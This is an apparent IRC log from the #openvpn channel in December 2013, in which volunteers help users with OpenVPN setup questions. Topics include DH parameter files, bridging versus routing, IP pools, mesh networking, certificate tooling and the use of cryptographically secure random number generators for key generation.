16:46 < pekster> toli: Have you verified the referenced --dh file is present, properly named, has a full path (or you've double-checked the --cd or $PWD dir), and is accessible to the user running openvpn?
16:46 < pekster> OpenVPN needs to have access to the dh*.pem file
16:47 < toli> let me check
16:47 < pekster> 01.pem sounds like your first issued cert, not DH params
16:49 < toli> yeah right, I told it was the 01.pem :)
16:49 < toli> it is the dh1024.pem
16:51 < toli> thanks
16:52 < pekster> You can usually get an idea of what the file is by looking at the first line of PEM-formatted certificate data (so, all the certs/keys/params easy-rsa creates)
16:57 -!- nighthawk663 [~nighthawk@unaffiliated/nighthawk663] has quit [Quit: leaving]
17:20 -!- speed_racer84 [~speed_rac@172.56.15.136] has joined #openvpn
17:29 -!- diddly [~dave@blk-224-220-110.eastlink.ca] has quit [Read error: Operation timed out]
17:33 -!- diddly [~dave@blk-222-90-9.eastlink.ca] has joined #openvpn
17:34 -!- Chaot_s [~chaot_s@d54C40070.access.telenet.be] has joined #openvpn
17:38 -!- diddly [~dave@blk-222-90-9.eastlink.ca] has quit [Ping timeout: 272 seconds]
17:41 -!- g0uZ [~NickServ@AMontpellier-152-1-28-167.w81-251.abo.wanadoo.fr] has quit [Ping timeout: 250 seconds]
17:44 -!- diddly [~dave@blk-222-90-9.eastlink.ca] has joined #openvpn
17:58 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
18:00 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
18:01 -!- speed_racer81 [~speed_rac@172.56.15.136] has joined #openvpn
18:03 -!- SaulGoodman is now known as Cubox
18:04 -!- speed_racer84 [~speed_rac@172.56.15.136] has quit [Ping timeout: 250 seconds]
18:07 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
18:07 -!- kevinlongmusic_ [~kplong@c-76-22-41-14.hsd1.wa.comcast.net] has joined #openvpn
18:12 -!- toli [~toli@ip-62-235-238-218.dsl.scarlet.be] has quit [Ping timeout: 272 seconds]
18:29 -!- ayaka [~ayaka@222.76.205.131] has left #openvpn ["离开"]
18:35 -!- speed_racer81 [~speed_rac@172.56.15.136] has quit [Read error: Connection reset by peer]
18:36 -!- speed_racer81 [~speed_rac@172.56.15.136] has joined #openvpn
18:42 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:55 -!- kevinlongmusic_ [~kplong@c-76-22-41-14.hsd1.wa.comcast.net] has quit [Ping timeout: 250 seconds]
19:06 -!- speed_racer81 [~speed_rac@172.56.15.136] has quit [Quit: Leaving]
19:52 -!- xrosnight [~quassel@120.236.123.130] has joined #openvpn
19:54 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
19:54 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
20:08 -!- xrosnight_ [~quassel@183.234.77.221] has joined #openvpn
20:09 -!- xrosnight [~quassel@120.236.123.130] has quit [Ping timeout: 245 seconds]
20:13 -!- xrosnight_ [~quassel@183.234.77.221] has quit [Read error: Connection reset by peer]
20:16 -!- xrosnight [~quassel@183.234.77.221] has joined #openvpn
20:19 -!- Cpt-Oblivious [~chatzilla@31-151-87-204.dynamic.upc.nl] has joined #openvpn
20:20 < Cpt-Oblivious> the Android openvpn client doesn't support TAP right?
20:38 -!- Poster [~poster@cpe-184-57-112-154.columbus.res.rr.com] has joined #openvpn
20:59 < WinstonSmith> hi. i am testing bridge mode on a vpn which itself is bridged to the host. does that work? because i followed the guide on http://openvpn.net/index.php/open-source/documentation/miscellaneous/76-ethernet-bridging.html, i can ping the server, the server can ping the client, however the machines in the server lan are inaccessible
20:59 <@vpnHelper> Title: Ethernet Bridging (at openvpn.net)
21:01 < WinstonSmith> ip r s on the client shows 192.168.1.0/24 dev tap1  proto kernel  scope link  src 192.168.1.121
21:01 < WinstonSmith> how can i further diagnose the problem? no firewall on server
21:06 < WinstonSmith> in the guide there is no mention of pushing routes to the clients, do i need that? or should the clients in the server lan get a route?
21:15 < pppingme> Cpt-Oblivious its actually the android that doesn't support tap, so no way for openvpn to do it.
21:16 < Cpt-Oblivious> Yea I figured that out indeed
21:16 < Cpt-Oblivious> only way to get it to work with android is rooting your phone and loading custom drivers etc..
21:16 < pppingme> why are you trying to bridge anyway?  routing is always better..
21:16 < Cpt-Oblivious> yea I read that afterwards as well
21:16 < Cpt-Oblivious> I want to setup a VPN server to which multiple clients can connect
21:17 < Cpt-Oblivious> all clients should be able to ping each other in subnet in which they can get an ip address
21:17 < Cpt-Oblivious> and a Samba server and a few other things will run on the vpn subnet
21:17 < Cpt-Oblivious> should be doable with TUN I guess
21:17 < WinstonSmith> client-to-client?
21:17 < pppingme> yep, if setup properly
21:18 < pppingme> If smb (samba) only worked via broadcast, large companies wouldn't be able to do any file sharing.
21:19 < Cpt-Oblivious> Yea so now all that remains is setting it up :)
21:19 < Cpt-Oblivious> I'm building my CA atm
22:06 -!- Cpt-Oblivious [~chatzilla@31-151-87-204.dynamic.upc.nl] has quit [Read error: Connection reset by peer]
23:03 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 264 seconds]
23:59 -!- xrosnight [~quassel@183.234.77.221] has quit [Changing host]
23:59 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
--- Day changed Fri Dec 13 2013
00:14 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 272 seconds]
00:15 -!- MyMind [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 252 seconds]
00:47 -!- thecaptain2000 [~quassel@67.237.79.188.dynamic.jazztel.es] has joined #openvpn
00:48 < thecaptain2000> hi, is there an openvpn web frontend like there is for openvpn-as?
00:50 -!- thecaptain2000 [~quassel@67.237.79.188.dynamic.jazztel.es] has quit [Remote host closed the connection]
00:53 -!- dimitry7 [~antonello@189.190.155.241] has joined #openvpn
00:54 -!- thecaptain2000 [~quassel@67.237.79.188.dynamic.jazztel.es] has joined #openvpn
00:55 < thecaptain2000> hi, is there an openvpn web frontend like there is for openvpn-as?
01:09 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
01:12 -!- atem [~atum@wheel.sh] has joined #openvpn
01:13 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
01:19 -!- dimitry7 [~antonello@189.190.155.241] has quit [Quit: Leaving]
01:20 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
01:32 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 246 seconds]
01:34 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
01:34 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
01:46 -!- thecaptain2000 [~quassel@67.237.79.188.dynamic.jazztel.es] has quit [Remote host closed the connection]
02:16 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
02:21 -!- xrosnight [~quassel@183.234.77.221] has joined #openvpn
02:40 -!- mcp [~mcp@wolk-project.de] has quit [Quit: ZNC - http://znc.sourceforge.net]
02:47 -!- pa [~pa@unaffiliated/pa] has quit [Remote host closed the connection]
03:04 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 246 seconds]
03:13 -!- GabrieleV [~GabrieleV@host36-45-static.254-95-b.business.telecomitalia.it] has joined #openvpn
03:20 -!- GabrieleV [~GabrieleV@host36-45-static.254-95-b.business.telecomitalia.it] has quit [Ping timeout: 245 seconds]
03:27 -!- GabrieleV [~GabrieleV@host36-45-static.254-95-b.business.telecomitalia.it] has joined #openvpn
03:44 -!- mattock_afk is now known as mattock
03:54 -!- eval- [~stephan@pool-98-109-15-233.nwrknj.fios.verizon.net] has left #openvpn []
03:56 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
04:01 -!- GabrieleV [~GabrieleV@host36-45-static.254-95-b.business.telecomitalia.it] has quit [Ping timeout: 245 seconds]
04:04 -!- c0mputerking [~kvirc@solar.computerking.ca] has quit [Ping timeout: 246 seconds]
04:13 -!- MyMind [~Sembei@unaffiliated/sembei] has joined #openvpn
04:20 -!- xrosnight [~quassel@183.234.77.221] has quit [Ping timeout: 246 seconds]
04:20 -!- thecaptain2000 [~quassel@67.237.79.188.dynamic.jazztel.es] has joined #openvpn
04:22 -!- surfmasta [~surfmasta@80.92.88.10] has joined #openvpn
04:27 -!- PackardBell [~Cor@eternalproject.org] has quit [Quit: Business by Cor]
04:30 -!- zero-one [zero-one@zer0-one.net] has joined #openvpn
04:31 -!- PackardBell [~Cor@eternalproject.org] has joined #openvpn
04:54 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
04:57 < surfmasta> is there a way to check on the openvpn server which IPs are framed in the pool?
05:01 < zero-one> surfmasta: what do you mean by "framed"?
05:03 < surfmasta> in openvpn source there is use of a framed IP, but basically i mean the IPs that are given from the OpenVPN server to the client to be used
05:03 < surfmasta> for example 10.x.x.{1,2,3,4,...}
05:18 < zero-one> surfmasta: do you mean something like "ifconfig-pool-persist"?
05:18 < zero-one> or do you mean a way to query which addresses are available for assignment?
05:21 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
05:26 < surfmasta> hmm, jep, that would also help if i know which addresses are available for assignment (unless the opposite is possible to get the one that are not available anymore)
05:54 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Quit: off to do some thoughtcrime]
06:00 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:02 -!- c0mputerking [~kvirc@solar.computerking.ca] has joined #openvpn
06:15 -!- mattock is now known as mattock_afk
06:33 -!- c0mputerking [~kvirc@solar.computerking.ca] has quit [Ping timeout: 246 seconds]
06:48 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:00 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has quit [Remote host closed the connection]
07:01 <@ecrist> !net30
07:01 <@vpnHelper> "net30" is "/30" is (#1) http://openvpn.net/index.php/documentation/faq.html#slash30 explains why routed clients each use 4 ips, or (#2) you can avoid this behavior with by reading !topology
07:01 <@ecrist> surfmasta: see there
07:01 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has joined #openvpn
07:05 < surfmasta> ecrist: thanks
07:06 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
07:08 -!- vekexasia [~vekexasia@net-188-216-150-116.cust.dsl.vodafone.it] has joined #openvpn
07:10 -!- g0uZ [~NickServ@193.253.170.74] has joined #openvpn
07:10 < vekexasia> Hello all, i'm in the process to set up an openvpn server and i want this server to be not bridged so my server has a new network 192.168.1.0/24. I'd like to create a configuration that enables my clients to attach with the same configuration file for any client and the server will have a dhcp server that will lease an ip to each client
07:10 < vekexasia> is it possible to do this?
07:11 < vekexasia> I read the topic. I'm not a native english speaker :)
07:11 < vekexasia> but you may already figured that out by yourself :)
07:18 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
07:25 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Ping timeout: 260 seconds]
07:27 -!- elfixit [~Icedove@64.35.9.21] has joined #openvpn
07:30 -!- elfixit1 [~Icedove@dhcp-129-154.office.init7.net] has joined #openvpn
07:31 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
07:32 -!- elfixit [~Icedove@64.35.9.21] has quit [Ping timeout: 260 seconds]
07:33 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has joined #openvpn
07:46 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
07:46 -!- g0uZ [~NickServ@193.253.170.74] has quit [Ping timeout: 252 seconds]
07:51 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
07:53 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
07:53 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 252 seconds]
07:53 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
08:00 -!- xrosnight [~quassel@113.83.101.68] has joined #openvpn
08:09 -!- elfixit1 [~Icedove@dhcp-129-154.office.init7.net] has quit [Quit: elfixit1]
08:12 -!- nrgskill [~nrgskill@bba418153.alshamil.net.ae] has joined #openvpn
08:12 < nrgskill> Possible meshed networks with openvp ?
08:13 <@ecrist> !mesh
08:13 <@vpnHelper> "mesh" is (#1) openvpn does not do mesh networking or (#2) see !rip or (#3) check out http://github.com/darkpixel/openmesher/ for auto-creating openvpn meshes
08:23 -!- Nikon_m [~nikonm@184.151.63.132] has joined #openvpn
08:23 -!- xrosnight [~quassel@113.83.101.68] has quit [Changing host]
08:23 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
08:25 < nrgskill> Big up
08:26 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Excess Flood]
08:27 -!- mattock_afk is now known as mattock
08:27 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
08:29 < nrgskill> !rip
08:29 <@vpnHelper> "rip" is http://www.secure-computing.net/wiki/index.php/OpenVPN/RIPRouting for a writeup on using RIP in openvpn
08:31 <@ecrist> nrgskill: that said, we do a full mesh with BGP on point-to-point tunnels at $work
08:35 -!- Nikon_m [~nikonm@184.151.63.132] has quit [Quit: Nikon_m]
08:37 -!- xrosnight_ [~quassel@113.83.70.147] has joined #openvpn
08:37 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 246 seconds]
08:38 < nrgskill> We have it, need to reduce costs in small branches
08:38 < nrgskill> They charge us like hell
08:40 -!- xrosnight_ [~quassel@113.83.70.147] has quit [Changing host]
08:40 -!- xrosnight_ [~quassel@unaffiliated/xrosnight] has joined #openvpn
08:41 -!- Nikon_m [~nikonm@184.151.63.132] has joined #openvpn
08:41 -!- xrosnight_ is now known as xrosnight
08:48 -!- nrgskill [~nrgskill@bba418153.alshamil.net.ae] has quit [Quit: bye]
08:54 -!- Cpt-Oblivious [~chatzilla@31-151-87-204.dynamic.upc.nl] has joined #openvpn
09:03 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 272 seconds]
09:05 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
09:06 -!- takamichi [~takamichi@85.12.8.13] has joined #openvpn
09:06 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
09:15 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit []
09:33 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
09:35 -!- Bretos [~Bretos@vps.tyborek.pl] has quit [Ping timeout: 246 seconds]
09:36 -!- Bretos [~Bretos@vps.tyborek.pl] has joined #openvpn
09:40 -!- _nexxus_ [~bwg@c-69-143-59-82.hsd1.va.comcast.net] has left #openvpn ["PONG :moorcock.freenode.net"]
09:41 -!- master_of_master [~master_of@p4FD7BF26.dip0.t-ipconnect.de] has joined #openvpn
09:41 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
09:44 -!- master_o1_master [~master_of@p4FF24CD1.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
09:45 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
09:48 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
09:49 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
09:51 -!- takamichi [~takamichi@85.12.8.13] has quit [Ping timeout: 246 seconds]
09:53 -!- vekexasia [~vekexasia@net-188-216-150-116.cust.dsl.vodafone.it] has quit [Quit: Leaving]
09:54 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
10:12 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
10:14 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
10:22 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
10:23 -!- thecaptain2000 [~quassel@67.237.79.188.dynamic.jazztel.es] has quit [Remote host closed the connection]
10:23 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 245 seconds]
10:28 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has quit [Ping timeout: 250 seconds]
10:33 -!- halcyon__ [~heraclitu@85.17.31.98] has joined #openvpn
10:33 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
10:33 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
10:36 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 264 seconds]
10:36 -!- duoi_ [duoi@gateway/shell/ircrelay.com/x-yjievtmytppwghdd] has joined #openvpn
10:37 -!- Netsplit *.net <-> *.split quits: hjohnson, phunyguy, MorgyN, duoi
10:37 -!- duoi_ is now known as duoi
10:37 -!- duoi [duoi@gateway/shell/ircrelay.com/x-yjievtmytppwghdd] has quit [Changing host]
10:37 -!- duoi [duoi@unaffiliated/duoi] has joined #openvpn
10:37 -!- duoi [duoi@unaffiliated/duoi] has quit [Changing host]
10:37 -!- duoi [duoi@gateway/shell/ircrelay.com/x-yjievtmytppwghdd] has joined #openvpn
10:37 -!- Netsplit over, joins: phunyguy
10:38 -!- xTz_ [xtz@DeathStar.Techn0.eu] has joined #openvpn
10:38 -!- Netsplit over, joins: hjohnson, MorgyN
10:38 -!- Eduard_Munteanu [~EduardMun@188.25.92.124] has joined #openvpn
10:39 -!- Eduard_Munteanu is now known as Guest50224
10:39 -!- 13WABJ1NS [~EduardMun@188.25.92.124] has joined #openvpn
10:39 -!- 13WABJ1NS [~EduardMun@188.25.92.124] has quit [Quit: leaving]
10:39 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Excess Flood]
10:40 -!- c0mputerking [~kvirc@solar.computerking.ca] has joined #openvpn
10:40 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
10:40 < Cpt-Oblivious> I can't delete openvpn profiles in the windows 7 client
10:41 < Cpt-Oblivious> I get: "exceptions.IOError: ProfileReader: error obtaining profile_id blabla no such file or directory..
10:41 < Cpt-Oblivious> duh.. I deleted it, yet the profile still lingers in the GUI / thinks it exists
10:42 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
10:42 -!- _quadDam1ge [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
10:43 < pekster> !as
10:43 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
10:43 < pekster> Equally relevant:
10:43 < pekster> !connect
10:43 <@vpnHelper> "connect" is (#1) OpenVPN Connect is part of the commercial, non-free (non-GPL) corporate offering; see #openvpn-as for help with these. For the community-maintained GPL OpenVPN, see !download for download links, !android for GPL-openvpn on Android, or !howto for the beginner how-to guide or (#2) https://forums.openvpn.net/post34969.html#p34969
10:43 -!- Eduard_M1nteanu [~EduardMun@188.25.92.124] has joined #openvpn
10:43 -!- Nikon_m [~nikonm@184.151.63.132] has quit [Quit: Nikon_m]
10:43 -!- MorgyN_ [~mig@island.morgyn.org] has joined #openvpn
10:44 -!- pagios [pagioss@gateway/shell/bnc4free/x-qgkskfkttepslqjg] has quit [Ping timeout: 338 seconds]
10:44 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 338 seconds]
10:44 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has quit [Ping timeout: 338 seconds]
10:44 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has quit [Write error: Broken pipe]
10:44 < Eduard_M1nteanu> Hi. Any thoughts on using certtool from gnutls to generate certs instead of easyrsa/openssl? I'm looking for an alternative that reads /dev/random directly.
10:44 < pekster> You really don't want to do that (read from /dev/random directly)
10:45 -!- hjohnson_ [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
10:45 < Eduard_M1nteanu> That's what gnupg does, more or less.
10:45 < pekster> That said, use whatever you want,  it really doesn't matter
10:45 < Eduard_M1nteanu> Why do you say that?
10:45 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
10:45 -!- Nikon_m [~nikonm@184.151.63.132] has joined #openvpn
10:47 < pekster> Just mind the cert extension attributes as most people end up relying on them for MITM protection (so disallowing a client cert from posing as an authorized server and hijacking connections)
10:47 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has joined #openvpn
10:47 < pekster> --remote-cert-tls requires specific KU/EKU attributes, so tell your PKI software about it and you'll be fine
10:47 < Eduard_M1nteanu> Oh, the server role thing.
10:48 < Eduard_M1nteanu> I admit, I'm generating them for puppet right now, but I might migrate to certtool completely if it goes well.
10:48 < pekster> Right. Avoid using the "Netscape" extensions as they're deprecated (I know how cool Netscape Navigator was back in the day, but it's time we move on ;)
10:49 < Eduard_M1nteanu> Are there alternatives to easyrsa that give you that schema by default? I'm not sure it's any sort of standard though.
10:49 < pekster> easyrsa3 exposes it very easily: https://github.com/OpenVPN/easy-rsa/tree/master/easyrsa3/x509-types
10:49 <@vpnHelper> Title: easy-rsa/easyrsa3/x509-types at master · OpenVPN/easy-rsa · GitHub (at github.com)
10:49 < pekster> The "scheme" is simple text files ;)
10:49 < Eduard_M1nteanu> Cool, nice.
10:49 -!- Netsplit *.net <-> *.split quits: Guest50224, hjohnson, xTz_, MorgyN
10:49 -!- hjohnson_ is now known as hjohnson
10:49 <@EugeneKay> !xca
10:49 <@vpnHelper> "xca" is (#1) XCA is a GUI to create/manage a PKI, much more user-friendly than easy-rsa. or (#2) Example XCA PKI for OpenVPN(writeup pending): https://community.openvpn.net/openvpn/wiki/XCA
10:50 <@EugeneKay> I built an example CA package for that tool
10:50 < Eduard_M1nteanu> Cool, nice.
10:50 <@EugeneKay> (I have the netscape extensions enabled because legacy, feel free to remove/disable them)
10:50 < pekster> XCA is another alternative for people into GUIs
10:50 < Eduard_M1nteanu> I'm sort of trying to avoid openssl though.
10:50  * pekster tries to run and hide from the big GUI monster
10:50 <@EugeneKay> Like sane people :v
10:51 < pekster> Nah, I personally find it takes me far longer in a GUI (plus many of my systems don't _have_ GUI)
10:51 < pekster> But some people like visual things
10:51 < pekster> ("sane" people, I guess. *puts on crazy hat* )
10:51 < Eduard_M1nteanu> Batch generation is always nice to have.
10:52 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
10:52 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has joined #openvpn
10:53 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
10:53 < Eduard_M1nteanu> Well, I do sort of trust openssl, I just find it rather annoying it insists on reading the RAND file without much warning.
10:54 -!- pagioss [~pagioss@gateway/shell/bnc4free/session] has joined #openvpn
10:54 -!- xTz_ [xtz@DeathStar.Techn0.eu] has joined #openvpn
10:54 -!- pagioss [~pagioss@gateway/shell/bnc4free/session] has quit [Changing host]
10:54 -!- pagioss [~pagioss@gateway/shell/bnc4free/x-dxeaqiejdlqtykes] has joined #openvpn
10:54  * Eduard_M1nteanu thinks an entropy broker daemon would be nice
10:54 < pekster> https://www.openssl.org/docs/apps/rand.html
10:54 <@vpnHelper> Title: OpenSSL: Documents, rand(1) (at www.openssl.org)
10:54 < pekster> It's only one component of the PRNG seeding process
10:55 < pekster> And it's only a _seed_ (as it should be -- that's why I said earlier you really don't want to pull raw bytes _directly_ from /dev/random -- it's highly unwise)
10:55 < Eduard_M1nteanu> pekster: not sure I understand, does it gather entropy some other way?
10:55 < pekster> Cryptographic tasks (like key generation) require cryptogographically-secure PRNG. Alter that assumption at your own risk
10:56 < Eduard_M1nteanu> I don't think a fixed length seed can or should be used forever.
10:56 < pekster> Debian tried (accidently) breaking it once ;)
10:57 < Eduard_M1nteanu> I'd be ok with using the CSPRNG to strengthen/mix the gathered entropy.
10:57 < pekster> Eduard_M1nteanu: Um, it changes. It's _PART_ of the seed entropy, as I explained earlier. Read the docs if you want clarification, but if you're avoiding openssl for that reason alone, I think you're going down the wrong path
10:57 < pekster> That said, don't let me talk you out of learning about how it all works or other options; choice is always a good thing
10:58 < Eduard_M1nteanu> Yeah, I'm not clear on how it works. :/
10:58 < pekster> fwiw: http://fpaste.org/61564/95389813/
10:58 < pekster> it gets re-written when there are enough bytes to make it useful
10:59 < Eduard_M1nteanu> pekster: does it place bounds on the amount of random bytes you can pull from it before it's regenerated?
11:00 < Eduard_M1nteanu> That's the sort of thing that bugs me about it and /dev/urandom, in case it doesn't.
11:00 < pekster> You really want to ask the openssl folks if your questions are that technical about internals: https://www.openssl.org/docs/crypto/RAND_bytes.html#
11:00 <@vpnHelper> Title: OpenSSL: Documents, RAND_bytes(3) (at www.openssl.org)
11:00 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Max SendQ exceeded]
11:00 < pekster> Specifically, read on that page: "An error occurs if the PRNG has not been seeded with enough randomness to ensure an unpredictable byte sequence."
11:00 < pekster> The OpenSSL ML is your best bet for better answers
11:01 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
11:01 < Eduard_M1nteanu> Hm, yeah. I'll try #openssl first, IIRC it's there.
11:01 < pekster> This is why things "pulling directly from /dev/random" is really (REALLY!) stupid. Use cryptographically-secure PRNGs (not necessarily openssl, but a _secure_ alternative)
11:01 < pekster> gnutls probably did things right, but I haven't looked into the process
11:02 < Eduard_M1nteanu> pekster: any particular complaint about /dev/random? AFAIK, it's considered safe as well.
11:02 < pekster> Yes, but not _as_ the crypgographic bytes
11:02 < Eduard_M1nteanu> Oh, sure, it does get fed through a mixer usually, e.g. PBKDF.
11:02 < pekster> You run it through a PRNG suited for the task, and I suspect you glossed over this point when you said earlier "that's basically what [gnutls] is doing"
11:03 < Eduard_M1nteanu> Yes.
11:03 < Eduard_M1nteanu> But you get 1 bit output for each bit of entropy.
11:03 < pekster> That's the difference in openssl between their RAND_bytes() and RAND_psudo_bytes()
11:03 < Eduard_M1nteanu> Well, not quite, it's probably mixed in larger batches.
11:04 < Eduard_M1nteanu> Oh, I se..
11:04 < pekster> The latter won't block, the formwer _will_ block (or return an error) if it doesn't have enough entropy
11:04 < pekster> Also see: https://www.openssl.org/docs/crypto/RAND_add.html#
11:04 <@vpnHelper> Title: OpenSSL: Documents, RAND_add(3) (at www.openssl.org)
11:04 < pekster> Though now we're getting even more off-topic into openssl API internals ;)
11:04 < Eduard_M1nteanu> Yeah. I asked because I've seen even core stuff like cryptsetup default to /dev/urandom for stupid reasons.
11:05 < pekster> Plenty of broken implementations; this said, there are lots of valid reasons to want "psudorandom but not crypgographically secure" randomness
11:05 < pekster> It saves on burning through precious system entropy if you don't need it
11:06 < Eduard_M1nteanu> The usual claim is "we don't have enough entropy" or "it's pseudorandom but crypto-secure", AFAICT, but that doesn't really justify setting that default. :)
11:07 < pekster> Not if it's used as key generation, no. Again, ref the API distinction I just showed you, and ask upstream if you're still concerned about the internals
11:07 < Eduard_M1nteanu> Yeah, I will, thanks.
11:07 < pekster> And there's always the golden rule of crypto: don't roll your own unless you're very sure about what you're doing ;)
11:08 < Eduard_M1nteanu> Yeah, that's why I asked about GnuTLS, it's relatively younger. :)
11:10 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Read error: Connection reset by peer]
11:11 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
11:12 < Eduard_M1nteanu> It's also interesting how PRNGs aren't quite safe when reseeded for each "bucket" you pull out.
11:13 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 252 seconds]
11:13 -!- Nikon_m [~nikonm@184.151.63.132] has quit [Quit: Nikon_m]
11:14 -!- obesd [~obsed@ppp121-45-210-202.lns20.cbr1.internode.on.net] has quit [Ping timeout: 252 seconds]
11:14 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has quit [Ping timeout: 248 seconds]
11:18 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 260 seconds]
11:19 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has joined #openvpn
11:20 -!- takamichi [~takamichi@85.12.8.13] has joined #openvpn
11:26 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
11:26 -!- obesd [~obsed@ppp121-45-210-202.lns20.cbr1.internode.on.net] has joined #openvpn
11:35 -!- takamichi [~takamichi@85.12.8.13] has quit [Ping timeout: 252 seconds]
11:38 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:38 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
11:40 -!- MorgyN_ is now known as MorgyN
11:50 -!- g0uZ [~NickServ@ip-74.net-81-220-31.lyon.rev.numericable.fr] has joined #openvpn
11:53 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:57 <@plaisthos> Cpt-Oblivious: for tap see the FAQ, a tap emulation is actually but so far nobody has stepped up to a) implement that or b) pay me to implement that
